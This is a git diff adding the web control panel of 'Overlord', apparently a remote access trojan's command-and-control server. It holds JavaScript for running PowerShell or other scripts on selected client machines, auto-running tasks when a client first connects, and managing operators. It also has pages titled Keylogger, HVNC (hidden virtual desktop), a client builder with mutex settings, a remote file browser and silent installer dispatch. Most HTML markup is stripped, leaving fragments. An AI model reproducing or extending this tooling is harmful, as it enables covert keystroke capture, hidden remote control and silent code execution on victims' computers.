'; + return; + } + + clientList.innerHTML = filteredClients.map(c => { + const name = c.host || c.id.substring(0, 8); + const os = c.os || "unknown"; + const isSelected = selectedClients.has(c.id); + + return ` + + `; + }).join(""); + + clientList.querySelectorAll('.client-checkbox').forEach(cb => { + cb.addEventListener('change', handleClientToggle); + }); + + updateSelectedCount(); +} + +function handleClientToggle(e) { + const clientId = e.target.dataset.id; + if (e.target.checked) { + selectedClients.add(clientId); + } else { + selectedClients.delete(clientId); + } + updateSelectedCount(); +} + +function updateSelectedCount() { + selectedCountSpan.textContent = `${selectedClients.size} selected`; + executeBtn.disabled = selectedClients.size === 0; +} + +function escapeHtml(text) { + const div = document.createElement('div'); + div.textContent = text; + return div.innerHTML; +} + +function getSavedScripts() { + try { + const items = JSON.parse(localStorage.getItem(SAVED_SCRIPTS_KEY) || "[]"); + return Array.isArray(items) ? items : []; + } catch (err) { + console.error("Failed to load saved scripts:", err); + return []; + } +} + +function setSavedScripts(scripts) { + try { + const trimmed = scripts.slice(0, 50); + localStorage.setItem(SAVED_SCRIPTS_KEY, JSON.stringify(trimmed)); + } catch (err) { + console.error("Failed to save scripts:", err); + } +} + +function renderSavedScripts() { + const scripts = getSavedScripts().sort((a, b) => b.updatedAt - a.updatedAt); + + if (scripts.length === 0) { + savedScriptsList.innerHTML = '
No saved scripts yet.
'; + return; + } + + savedScriptsList.innerHTML = scripts.map((s) => { + return ` +
+
+
${escapeHtml(s.name)}
+
${escapeHtml(s.type)} • ${new Date(s.updatedAt).toLocaleString()}
+
+
+ + +
+
+ `; + }).join(""); + + savedScriptsList.querySelectorAll(".load-saved-script").forEach((btn) => { + btn.addEventListener("click", () => { + const id = btn.dataset.id; + const scripts = getSavedScripts(); + const script = scripts.find((s) => s.id === id); + if (!script) return; + setEditorValue(script.content); + scriptType.value = script.type; + scriptSaveName.value = script.name; + setEditorMode(script.type); + showToast("Script loaded", "success", 3000); + }); + }); + + savedScriptsList.querySelectorAll(".delete-saved-script").forEach((btn) => { + btn.addEventListener("click", () => { + const id = btn.dataset.id; + const scripts = getSavedScripts().filter((s) => s.id !== id); + setSavedScripts(scripts); + renderSavedScripts(); + showToast("Saved script deleted", "info", 3000); + }); + }); +} + +function saveCurrentScript() { + const name = scriptSaveName.value.trim(); + const content = getEditorValue().trim(); + const type = scriptType.value; + + if (!name) { + showToast("Please provide a name for the script", "warning", 3000); + return; + } + + if (!content) { + showToast("Script is empty", "warning", 3000); + return; + } + + const scripts = getSavedScripts(); + const existing = scripts.find((s) => s.name.toLowerCase() === name.toLowerCase()); + + if (existing) { + const ok = confirm("A script with this name already exists. Overwrite it?"); + if (!ok) return; + existing.content = content; + existing.type = type; + existing.updatedAt = Date.now(); + } else { + scripts.push({ + id: `script-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + name, + content, + type, + createdAt: Date.now(), + updatedAt: Date.now(), + }); + } + + setSavedScripts(scripts); + renderSavedScripts(); + showToast("Script saved", "success", 3000); +} + +function triggerLabel(trigger) { + if (trigger === "on_first_connect") return "On first connect"; + if (trigger === "on_connect_once") return "On connect (once)"; + return "On connect"; +} + +function resetAutoTaskForm() { + autoTaskEditingId = null; + autoTaskName.value = ""; + autoTaskTrigger.value = "on_connect"; + autoTaskCancelBtn.classList.add("hidden"); + autoTaskSaveBtn.innerHTML = ' Save Auto Task'; +} + +function setAutoTaskForm(task) { + autoTaskEditingId = task.id; + autoTaskName.value = task.name || ""; + autoTaskTrigger.value = task.trigger || "on_connect"; + scriptType.value = task.scriptType || "powershell"; + setEditorMode(scriptType.value); + setEditorValue(task.script || ""); + autoTaskCancelBtn.classList.remove("hidden"); + autoTaskSaveBtn.innerHTML = ' Update Auto Task'; +} + +async function loadAutoTasks() { + if (!autoTaskList) return; + try { + const res = await fetch("/api/auto-scripts"); + if (!res.ok) throw new Error("Failed to load auto tasks"); + const data = await res.json(); + autoTasks = Array.isArray(data.items) ? data.items : []; + renderAutoTasks(); + } catch (err) { + console.error("Failed to load auto tasks:", err); + autoTaskList.innerHTML = '
Error loading auto tasks
'; + } +} + +function renderAutoTasks() { + if (!autoTaskList) return; + if (autoTasks.length === 0) { + autoTaskList.innerHTML = '
No auto tasks yet.
'; + return; + } + + autoTaskList.innerHTML = autoTasks + .map((task) => { + return ` +
+
+
${escapeHtml(task.name)}
+
${escapeHtml(triggerLabel(task.trigger))} • ${escapeHtml(task.scriptType)}
+
+
+ + + +
+
+ `; + }) + .join(""); + + autoTaskList.querySelectorAll(".auto-task-toggle").forEach((toggle) => { + toggle.addEventListener("change", async () => { + const id = toggle.dataset.id; + const enabled = toggle.checked; + try { + const res = await fetch(`/api/auto-scripts/${id}`, + { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ enabled }), + }); + if (!res.ok) throw new Error("Update failed"); + showToast(`Auto task ${enabled ? "enabled" : "disabled"}`, "success", 2500); + loadAutoTasks(); + } catch (err) { + console.error("Failed to update auto task:", err); + showToast("Failed to update auto task", "error", 3000); + toggle.checked = !enabled; + } + }); + }); + + autoTaskList.querySelectorAll(".auto-task-edit").forEach((btn) => { + btn.addEventListener("click", () => { + const id = btn.dataset.id; + const task = autoTasks.find((t) => t.id === id); + if (!task) return; + setAutoTaskForm(task); + }); + }); + + autoTaskList.querySelectorAll(".auto-task-delete").forEach((btn) => { + btn.addEventListener("click", async () => { + const id = btn.dataset.id; + const task = autoTasks.find((t) => t.id === id); + const ok = confirm(`Delete auto task "${task?.name || ""}"?`); + if (!ok) return; + try { + const res = await fetch(`/api/auto-scripts/${id}`, { method: "DELETE" }); + if (!res.ok) throw new Error("Delete failed"); + showToast("Auto task deleted", "info", 2500); + if (autoTaskEditingId === id) resetAutoTaskForm(); + loadAutoTasks(); + } catch (err) { + console.error("Failed to delete auto task:", err); + showToast("Failed to delete auto task", "error", 3000); + } + }); + }); +} + +async function saveAutoTask() { + if (!autoTaskName || !autoTaskTrigger || !scriptType) return; + const name = autoTaskName.value.trim(); + const trigger = autoTaskTrigger.value; + const scriptTypeValue = scriptType.value; + const script = getEditorValue(); + + if (!name) { + showToast("Please provide a task name", "warning", 3000); + return; + } + if (!script.trim()) { + showToast("Script is empty", "warning", 3000); + return; + } + + autoTaskSaveBtn.disabled = true; + try { + const payload = { name, trigger, script, scriptType: scriptTypeValue }; + const res = await fetch(autoTaskEditingId ? `/api/auto-scripts/${autoTaskEditingId}` : "/api/auto-scripts", { + method: autoTaskEditingId ? "PUT" : "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(payload), + }); + if (!res.ok) throw new Error("Save failed"); + showToast(autoTaskEditingId ? "Auto task updated" : "Auto task created", "success", 2500); + resetAutoTaskForm(); + loadAutoTasks(); + } catch (err) { + console.error("Failed to save auto task:", err); + showToast("Failed to save auto task", "error", 3000); + } finally { + autoTaskSaveBtn.disabled = false; + } +} + +clientSearch.addEventListener("input", filterAndRenderClients); +osFilter.addEventListener("change", filterAndRenderClients); + +selectAllBtn.addEventListener("click", () => { + filteredClients.forEach(c => selectedClients.add(c.id)); + renderClients(); +}); + +clearSelectionBtn.addEventListener("click", () => { + selectedClients.clear(); + renderClients(); +}); + +document.querySelectorAll(".template-btn").forEach((btn) => { + btn.addEventListener("click", () => { + const script = btn.dataset.script; + const type = btn.dataset.type; + setEditorValue(script); + scriptType.value = type; + setEditorMode(type); + }); +}); + +executeBtn.addEventListener("click", async () => { + if (selectedClients.size === 0) { + alert("Please select at least one client"); + return; + } + + const script = getEditorValue().trim(); + if (!script) { + alert("Please enter a script to execute"); + return; + } + + executeBtn.disabled = true; + const clientIds = Array.from(selectedClients); + outputContainer.innerHTML = `
Executing script on ${clientIds.length} client(s)...
`; + + const results = []; + + for (const clientId of clientIds) { + const client = allClients.find(c => c.id === clientId); + const clientName = client ? (client.host || clientId.substring(0, 8)) : clientId.substring(0, 8); + + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + action: "script_exec", + script: script, + scriptType: scriptType.value, + }), + }); + + if (!res.ok) { + results.push({ clientName, clientId, error: `HTTP error! status: ${res.status}` }); + continue; + } + + const data = await res.json(); + if (!data.ok) { + results.push({ clientName, clientId, error: data.error || "Unknown error" }); + continue; + } + + results.push({ clientName, clientId, output: data.result || "(no output)" }); + } catch (error) { + results.push({ clientName, clientId, error: error.message }); + } + } + + outputContainer.innerHTML = results.map(r => { + if (r.error) { + return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`; + } + return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`; + }).join(""); + + executeBtn.disabled = false; +}); + +clearOutputBtn.addEventListener("click", () => { + outputContainer.innerHTML = + '
No output yet. Execute a script to see results.
'; +}); + +saveScriptBtn?.addEventListener("click", saveCurrentScript); +scriptSaveName?.addEventListener("keypress", (e) => { + if (e.key === "Enter") { + saveCurrentScript(); + } +}); + +autoTaskSaveBtn?.addEventListener("click", saveAutoTask); +autoTaskCancelBtn?.addEventListener("click", resetAutoTaskForm); + +scriptType?.addEventListener("change", () => { + setEditorMode(scriptType.value); +}); + +checkAuth(); +loadClients(); +renderSavedScripts(); +loadAutoTasks(); + +if (window.CodeMirror && scriptEditor) { + editorInstance = window.CodeMirror.fromTextArea(scriptEditor, { + lineNumbers: true, + mode: EDITOR_MODES[scriptType?.value || "powershell"] || "powershell", + theme: "material-darker", + indentUnit: 2, + tabSize: 2, + lineWrapping: true, + }); + editorInstance.setSize(null, "100%"); +} diff --git a/Overlord-Server/public/assets/state.js b/Overlord-Server/public/assets/state.js new file mode 100644 index 0000000..35fe762 --- /dev/null +++ b/Overlord-Server/public/assets/state.js @@ -0,0 +1,12 @@ +export const state = { + page: 1, + pageSize: 12, + searchTerm: "", + sort: "last_seen_desc", + filterStatus: "all", + filterOs: "all", + lastDigest: "", + isLoading: false, + pendingForce: false, + thumbnailsRequested: false, +}; diff --git a/Overlord-Server/public/assets/toast.js b/Overlord-Server/public/assets/toast.js new file mode 100644 index 0000000..fe3678c --- /dev/null +++ b/Overlord-Server/public/assets/toast.js @@ -0,0 +1,86 @@ +let toastContainer = null; +let toastId = 0; + +function ensureToastContainer() { + if (!toastContainer) { + toastContainer = document.createElement("div"); + toastContainer.className = "toast-container"; + document.body.appendChild(toastContainer); + } + return toastContainer; +} + +function showToast(message, type = "info", duration = 4000) { + const container = ensureToastContainer(); + const id = ++toastId; + + const icons = { + success: "fa-circle-check", + error: "fa-circle-xmark", + info: "fa-circle-info", + warning: "fa-triangle-exclamation", + }; + + const titles = { + success: "Success", + error: "Error", + info: "Info", + warning: "Warning", + }; + + const toast = document.createElement("div"); + toast.className = `toast toast-${type}`; + toast.id = `toast-${id}`; + toast.style.opacity = "0"; + toast.innerHTML = ` +
+
+ +
+
${titles[type]}
+ +
+
+ `; + + const messageEl = toast.querySelector(".toast-message"); + if (messageEl) { + messageEl.textContent = message; + } + + const closeBtn = toast.querySelector(".toast-close"); + if (closeBtn) { + closeBtn.addEventListener("click", () => closeToast(id)); + } + + container.appendChild(toast); + + setTimeout(() => { + toast.style.opacity = "1"; + }, 50); + + if (duration > 0) { + setTimeout(() => closeToast(id), duration); + } + + return id; +} + +function closeToast(id) { + const toast = document.getElementById(`toast-${id}`); + if (toast) { + toast.classList.add("removing"); + setTimeout(() => { + toast.remove(); + if (toastContainer && toastContainer.children.length === 0) { + toastContainer.remove(); + toastContainer = null; + } + }, 300); + } +} + +window.showToast = showToast; +window.closeToast = closeToast; diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js new file mode 100644 index 0000000..4321d47 --- /dev/null +++ b/Overlord-Server/public/assets/ui.js @@ -0,0 +1,92 @@ +const menu = document.createElement("div"); +menu.id = "command-menu"; +menu.className = + "fixed z-50 w-48 hidden flex-col gap-1.5 rounded-xl border border-slate-800 bg-slate-900/90 p-3 shadow-xl backdrop-blur overflow-y-auto overscroll-contain"; +menu.style.maxHeight = "min(70vh, 520px)"; +menu.innerHTML = ` + + + + + + + + +
+ + + + + +`; +document.body.appendChild(menu); + +const modal = document.createElement("div"); +modal.className = + "modal fixed inset-0 z-40 hidden items-center justify-center bg-black/80 backdrop-blur"; +modal.innerHTML = `
preview
`; +document.body.appendChild(modal); +const modalImg = modal.querySelector("#modal-img"); + +export function openMenu(clientId, x, y, setContext) { + if (setContext) setContext(clientId); + menu.classList.remove("hidden"); + + const menuWidth = 192; + const menuHeight = menu.offsetHeight || 400; + const viewportWidth = window.innerWidth; + const viewportHeight = window.innerHeight; + + let left = x; + if (left + menuWidth > viewportWidth - 10) { + left = viewportWidth - menuWidth - 10; + } + if (left < 10) left = 10; + + let top = y; + if (top + menuHeight > viewportHeight - 10) { + top = viewportHeight - menuHeight - 10; + } + if (top < 10) top = 10; + + menu.style.left = `${left}px`; + menu.style.top = `${top}px`; +} + +export function closeMenu(clearContext) { + menu.classList.add("hidden"); + if (clearContext) clearContext(); +} + +export function openModal(src) { + if (!src) return; + + modalImg.src = ""; + + setTimeout(() => { + modalImg.src = src; + modal.classList.remove("hidden"); + modal.classList.add("flex"); + }, 10); +} + +export function closeModal() { + modal.classList.remove("flex"); + modal.classList.add("hidden"); +} + +export function wireModalClose() { + modal.addEventListener("click", closeModal); + window.addEventListener("keydown", (e) => { + if (e.key === "Escape") { + closeModal(); + closeMenu(); + } + }); +} + +export { menu, modal }; diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js new file mode 100644 index 0000000..68679b3 --- /dev/null +++ b/Overlord-Server/public/assets/users.js @@ -0,0 +1,415 @@ +let currentUser = null; +let users = []; + +const usersTableBody = document.getElementById("users-table-body"); +const addUserBtn = document.getElementById("add-user-btn"); +const userModal = document.getElementById("user-modal"); +const modalTitle = document.getElementById("modal-title"); +const userForm = document.getElementById("user-form"); +const closeModal = document.getElementById("close-modal"); +const cancelBtn = document.getElementById("cancel-btn"); +const errorMessage = document.getElementById("error-message"); +const errorText = document.getElementById("error-text"); +const logoutBtn = document.getElementById("logout-btn"); +const currentUserEl = document.getElementById("username-display"); +const currentRoleEl = document.getElementById("role-badge"); + +async function getCurrentUser() { + try { + const res = await fetch("/api/auth/me"); + if (res.ok) { + currentUser = await res.json(); + currentUserEl.textContent = currentUser.username; + + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[currentUser.role]) { + currentRoleEl.innerHTML = roleBadges[currentUser.role]; + } else { + currentRoleEl.textContent = currentUser.role || ""; + } + + if (currentUser.role === "admin") { + currentRoleEl.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (currentUser.role === "operator") { + currentRoleEl.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + currentRoleEl.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (currentUser.role === "admin") { + document.getElementById("metrics-link")?.classList.remove("hidden"); + document.getElementById("scripts-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + document.getElementById("users-link")?.classList.remove("hidden"); + document.getElementById("plugins-link")?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + } else if (currentUser.role === "operator") { + document.getElementById("metrics-link")?.classList.remove("hidden"); + document.getElementById("scripts-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + } + + if (currentUser.role !== "admin") { + alert("Access denied. Admin role required."); + window.location.href = "/"; + } + } else { + window.location.href = "/login.html"; + } + } catch (err) { + console.error("Failed to get current user:", err); + window.location.href = "/login.html"; + } +} + +if (logoutBtn && !logoutBtn.dataset.boundLogout) { + logoutBtn.dataset.boundLogout = "true"; + logoutBtn.addEventListener("click", async () => { + if (!confirm("Are you sure you want to logout?")) return; + + try { + const res = await fetch("/api/logout", { method: "POST" }); + if (res.ok) { + window.location.href = "/"; + } else { + alert("Logout failed. Please try again."); + } + } catch (err) { + console.error("Logout error:", err); + alert("Logout failed. Please try again."); + } + }); +} + +async function loadUsers() { + try { + const res = await fetch("/api/users"); + if (!res.ok) { + throw new Error("Failed to load users"); + } + + const data = await res.json(); + users = data.users || []; + renderUsers(); + } catch (err) { + console.error("Load users error:", err); + usersTableBody.innerHTML = ` + + + + Failed to load users + + + `; + } +} + +function renderUsers() { + if (users.length === 0) { + usersTableBody.innerHTML = ` + + + + No users found + + + `; + return; + } + + usersTableBody.innerHTML = users + .map( + (user) => ` + + +
+ + ${escapeHtml(user.username)} + ${user.id === currentUser?.userId ? '(You)' : ""} +
+ + + ${getRoleBadge(user.role)} + + + ${formatDate(user.created_at)} + + + ${user.last_login ? formatDate(user.last_login) : 'Never'} + + + ${escapeHtml(user.created_by || "System")} + + +
+ ${ + user.id !== currentUser?.userId + ? ` + + + + ` + : 'Cannot edit yourself' + } +
+ + + `, + ) + .join(""); + + attachActionListeners(); +} + +function getRoleBadge(role) { + const badges = { + admin: + 'Admin', + operator: + 'Operator', + viewer: + 'Viewer', + }; + return badges[role] || escapeHtml(role || ""); +} + +function attachActionListeners() { + const oldListener = usersTableBody._actionListener; + if (oldListener) { + usersTableBody.removeEventListener("click", oldListener); + } + + const listener = (e) => { + const btn = e.target.closest(".user-action-btn"); + if (!btn) return; + + const action = btn.dataset.action; + const userId = parseInt(btn.dataset.userId); + const username = btn.dataset.username; + const role = btn.dataset.role; + + switch (action) { + case "change-password": + changePassword(userId, username); + break; + case "change-role": + changeRole(userId, username, role); + break; + case "delete": + deleteUser(userId, username); + break; + } + }; + + usersTableBody.addEventListener("click", listener); + usersTableBody._actionListener = listener; +} + +function formatDate(timestamp) { + const date = new Date(timestamp); + return date.toLocaleString(); +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +function showModal(title) { + modalTitle.textContent = title; + userModal.classList.remove("hidden"); + errorMessage.classList.add("hidden"); + userForm.reset(); +} + +function hideModal() { + userModal.classList.add("hidden"); + userForm.reset(); +} + +function showError(message) { + errorText.textContent = message; + errorMessage.classList.remove("hidden"); +} + +addUserBtn.addEventListener("click", () => { + showModal("Add User"); + document.getElementById("password-field").classList.remove("hidden"); + document.getElementById("password").required = true; +}); + +closeModal.addEventListener("click", hideModal); +cancelBtn.addEventListener("click", hideModal); + +userForm.addEventListener("submit", async (e) => { + e.preventDefault(); + + const formData = new FormData(userForm); + const username = formData.get("username"); + const password = formData.get("password"); + const role = formData.get("role"); + + try { + const res = await fetch("/api/users", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ username, password, role }), + }); + + const data = await res.json(); + + if (res.ok) { + hideModal(); + await loadUsers(); + } else { + showError(data.error || "Failed to create user"); + } + } catch (err) { + console.error("Create user error:", err); + showError("Network error. Please try again."); + } +}); + +window.changePassword = async function (userId, username) { + const password = prompt(`Enter new password for ${username}:`); + if (!password) return; + + if (password.length < 6) { + alert("Password must be at least 6 characters"); + return; + } + + try { + const res = await fetch(`/api/users/${userId}/password`, { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ password }), + }); + + const data = await res.json(); + + if (res.ok) { + alert("Password updated successfully"); + } else { + alert(data.error || "Failed to update password"); + } + } catch (err) { + console.error("Update password error:", err); + alert("Network error. Please try again."); + } +}; + +window.changeRole = async function (userId, username, currentRole) { + const roles = ["viewer", "operator", "admin"]; + const roleNames = { viewer: "Viewer", operator: "Operator", admin: "Admin" }; + + const message = `Select new role for ${username}:\n\n1. Viewer (Read-only)\n2. Operator (Control clients)\n3. Admin (Full access)\n\nCurrent: ${roleNames[currentRole]}`; + const choice = prompt(message); + + if (!choice || !["1", "2", "3"].includes(choice)) return; + + const newRole = roles[parseInt(choice) - 1]; + + if (newRole === currentRole) { + alert("No change made"); + return; + } + + if (!confirm(`Change ${username}'s role to ${roleNames[newRole]}?`)) return; + + try { + const res = await fetch(`/api/users/${userId}/role`, { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ role: newRole }), + }); + + const data = await res.json(); + + if (res.ok) { + alert("Role updated successfully"); + await loadUsers(); + } else { + alert(data.error || "Failed to update role"); + } + } catch (err) { + console.error("Update role error:", err); + alert("Network error. Please try again."); + } +}; + +window.deleteUser = async function (userId, username) { + if ( + !confirm( + `Are you sure you want to delete user "${username}"? This action cannot be undone.`, + ) + ) { + return; + } + + try { + const res = await fetch(`/api/users/${userId}`, { + method: "DELETE", + }); + + const data = await res.json(); + + if (res.ok) { + alert("User deleted successfully"); + await loadUsers(); + } else { + alert(data.error || "Failed to delete user"); + } + } catch (err) { + console.error("Delete user error:", err); + alert("Network error. Please try again."); + } +}; + +getCurrentUser(); +loadUsers(); diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js new file mode 100644 index 0000000..095bd6c --- /dev/null +++ b/Overlord-Server/public/assets/utils.js @@ -0,0 +1,34 @@ +export function debounce(fn, delayMs) { + let t; + return (...args) => { + clearTimeout(t); + t = setTimeout(() => fn(...args), delayMs); + }; +} + +export function digestData(data, { page, pageSize, searchTerm, sort }) { + const items = + data.items?.map((c) => ({ + id: c.id, + online: !!c.online, + lastSeen: c.lastSeen, + ping: c.pingMs, + host: c.host, + user: c.user, + thumbnail: c.thumbnail, + version: c.version, + country: c.country, + arch: c.arch, + os: c.os, + monitors: c.monitors, + })) || []; + return JSON.stringify({ + page, + pageSize, + searchTerm, + sort, + total: data.total, + online: data.online, + items, + }); +} diff --git a/Overlord-Server/public/assets/viewUtils.js b/Overlord-Server/public/assets/viewUtils.js new file mode 100644 index 0000000..94450af --- /dev/null +++ b/Overlord-Server/public/assets/viewUtils.js @@ -0,0 +1,83 @@ +export function countryToFlag(code) { + const fallback = ``; + if (!code) return fallback; + const cc = String(code).trim().toLowerCase(); + + if (!/^[a-z]{2}$/.test(cc) || cc === "zz") return fallback; + return ``; +} + +export function formatPing(ms) { + if (ms === null || ms === undefined) return "measuring…"; + return `${ms} ms`; +} + +export function formatAgo(ts) { + const delta = Date.now() - ts; + const minutes = Math.floor(delta / 60000); + if (minutes < 1) return "just now"; + if (minutes === 1) return "1 minute ago"; + if (minutes < 60) return `${minutes} minutes ago`; + const hours = Math.floor(minutes / 60); + if (hours === 1) return "1 hour ago"; + if (hours < 24) return `${hours} hours ago`; + const days = Math.floor(hours / 24); + return `${days}d ago`; +} + +export function shortId(id = "") { + if (!id) return "unknown"; + return id.length <= 8 ? id : `${id.slice(0, 6)}…${id.slice(-2)}`; +} + +export function osBadge(osRaw = "") { + const os = osRaw.toLowerCase(); + const base = { + label: osRaw || "Unknown", + icon: "fa-linux", + tone: "pill-unknown", + }; + if (os.includes("windows")) + return { label: "Windows", icon: "fa-brands fa-windows", tone: "pill-win" }; + if (os.includes("mac") || os.includes("darwin")) + return { label: "macOS", icon: "fa-brands fa-apple", tone: "pill-mac" }; + if (os.includes("ubuntu")) + return { label: "Ubuntu", icon: "fa-brands fa-linux", tone: "pill-ubuntu" }; + if (os.includes("debian")) + return { label: "Debian", icon: "fa-brands fa-linux", tone: "pill-debian" }; + if (os.includes("arch")) + return { label: "Arch", icon: "fa-brands fa-linux", tone: "pill-arch" }; + if (os.includes("kali")) + return { label: "Kali", icon: "fa-brands fa-linux", tone: "pill-kali" }; + if (os.includes("fedora")) + return { label: "Fedora", icon: "fa-brands fa-linux", tone: "pill-fedora" }; + if (os.includes("linux")) + return { label: "Linux", icon: "fa-brands fa-linux", tone: "pill-linux" }; + return base; +} + +export function archBadge(archRaw = "") { + const arch = archRaw.toLowerCase(); + if (arch.includes("arm")) + return { label: archRaw || "ARM", icon: "fa-microchip", tone: "pill-arm" }; + if (arch.includes("64") || arch.includes("x86") || arch.includes("amd")) + return { label: archRaw || "x64", icon: "fa-microchip", tone: "pill-x64" }; + if (!archRaw) + return { label: "arch?", icon: "fa-microchip", tone: "pill-unknown" }; + return { label: archRaw, icon: "fa-microchip", tone: "pill-ghost" }; +} + +export function versionBadge(versionRaw = "") { + const label = versionRaw ? `v${versionRaw}` : "v0"; + return { + label, + icon: "fa-tag", + tone: versionRaw ? "pill-version" : "pill-unknown", + }; +} + +export function monitorsBadge(count) { + const n = Number(count) || 1; + const label = `${n} monitor${n > 1 ? "s" : ""}`; + return { label, icon: "fa-display", tone: "pill-ghost" }; +} diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html new file mode 100644 index 0000000..60e4d22 --- /dev/null +++ b/Overlord-Server/public/build.html @@ -0,0 +1,368 @@ + + + + + + Client Builder - Overlord + + + + + + + + + + + + +
+
+
+
+
+

Client Builder

+

+ Build customized Overlord client agents +

+
+
+ +
+ +
+

+ Build Configuration +

+ +
+ +
+ +
+ + + + + + + + +
+
+ + +
+ + +

+ Optional: Override the default server URL in the build +

+ +

+ When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line. +

+
+ + +
+ + +

+ Optional: Set a fixed mutex or leave empty to auto-generate +

+ +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+ + +
+

+ Build Output +

+ + + +
+
+ Ready to build. Select platforms and click "Start Build". +
+
+ + + +
+
+
+
+ + + + diff --git a/Overlord-Server/public/change-password.html b/Overlord-Server/public/change-password.html new file mode 100644 index 0000000..84c8e1b --- /dev/null +++ b/Overlord-Server/public/change-password.html @@ -0,0 +1,115 @@ + + + + + + Change Password - Overlord + + + + + + + + + + + + + diff --git a/Overlord-Server/public/console.html b/Overlord-Server/public/console.html new file mode 100644 index 0000000..f186f13 --- /dev/null +++ b/Overlord-Server/public/console.html @@ -0,0 +1,80 @@ + + + + + + Overlord Console + + + + + + + + + + +
+
+
+
+
+
Client
+
-
+
+
+
Host
+
-
+
+
+
User
+
-
+
+
+
OS
+
-
+
+
+ +
+ +
+
$
+ +
+ + +
+
+
+
+ + + + + diff --git a/Overlord-Server/public/deploy.html b/Overlord-Server/public/deploy.html new file mode 100644 index 0000000..5c38700 --- /dev/null +++ b/Overlord-Server/public/deploy.html @@ -0,0 +1,196 @@ + + + + + + Execution - Overlord + + + + + + + +
+ +
+
+ +
+
+
+
+

Select Target Clients

+

+ Admin-only silent execution for installs and programs +

+
+
+ 0 selected + +
+
+ + +
+
+ + +
+ + +
+ + +
+
Loading clients...
+
+
+
+ + +
+
+
+
+

Execution

+

+ Upload an installer and dispatch it to matching clients +

+
+
+ + +
+
+ +
+
+ +
+
+
+ +
+
+
Drag & drop an installer
+
or click to select a file
+
+
+ +
+
+ No file uploaded yet. +
+
+ OS: not detected +
+
+ +
+ + +

+ Provide silent flags supported by the installer. +

+
+ + + +
+
Common examples
+
    +
  • MSI: /quiet /norestart
  • +
  • AV setup: /quiet /norestart
  • +
  • Shell installers: --silent --noconfirm
  • +
+
+
+
+
+ + +
+
+
+

Dispatch Results

+ +
+
+
+ No commands dispatched yet. +
+
+
+
+
+
+ + + + + diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html new file mode 100644 index 0000000..65b0042 --- /dev/null +++ b/Overlord-Server/public/filebrowser.html @@ -0,0 +1,611 @@ + + + + + + File Browser - Overlord + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+
+ + Connecting... + + + + Loading client... + +
+
+ + + + +
+
+ + + + + + + + +
+ + +
+ + + +
+
+ + +
+ + +
+ + +
+
+
Name
+
Size
+
Modified
+
Actions
+
+
+ +
+
+
+
+ + +
+
+ Edit +
+
+ Download +
+
+ Zip & Download +
+
+ Copy +
+
+ Move +
+
+ Permissions +
+
+ Delete +
+
+ + +
+
+
+
+ + Editing File +
+ +
+
+
+ + +
+ +
+
+ + +
+
+
+ Ready +
+
+ + +
+
+
+
+ + + + + + + + + + + diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html new file mode 100644 index 0000000..ab0b279 --- /dev/null +++ b/Overlord-Server/public/hvnc.html @@ -0,0 +1,226 @@ + + + + + + Overlord HVNC + + + + + + + + + + +
+ +
+
+
+
+ + + +
+
+ + + 95% +
+
+ + + + +
+
+ + Connecting +
+
+ fps + -- + → + -- +
+
+ + + +
+
+ +
+
+ + Hidden Virtual Desktop - Client: - +
+
+ +
+
+ + +
+
+ + + + + + diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html new file mode 100644 index 0000000..88f9484 --- /dev/null +++ b/Overlord-Server/public/index.html @@ -0,0 +1,175 @@ + + + + + + Overlord Dashboard + + + + + + + + + + + +
+
+
+
+
+

Clients

+

Live clients via Bun WebSockets

+
+ 0 online +
+
+ + + + + + + +
+ + +
+
+ + + +
+
+
+ + + + + + diff --git a/Overlord-Server/public/keylogger.html b/Overlord-Server/public/keylogger.html new file mode 100644 index 0000000..61f15b4 --- /dev/null +++ b/Overlord-Server/public/keylogger.html @@ -0,0 +1,187 @@ + + + + + + Keylogger - Overlord + + + + + + +
+ +
+
+ +
+
+
+ + Keylogger + Connecting +
+
+ Client: + - +
+ +
+
+ + + +
+
+ + +
+

+ + Log Files +

+
+
+ Loading log files... +
+
+
+ + + +
+ + + +
+ + + + diff --git a/Overlord-Server/public/login.html b/Overlord-Server/public/login.html new file mode 100644 index 0000000..1c25123 --- /dev/null +++ b/Overlord-Server/public/login.html @@ -0,0 +1,81 @@ + + + + + + Constellation Login + + + + + + + + + + + + + diff --git a/Overlord-Server/public/logs.html b/Overlord-Server/public/logs.html new file mode 100644 index 0000000..e43c16f --- /dev/null +++ b/Overlord-Server/public/logs.html @@ -0,0 +1,139 @@ + + + + + + Client Logs - Overlord + + + + + + + + + + + +
+ +
+
+
+
+

Client Connection Logs

+
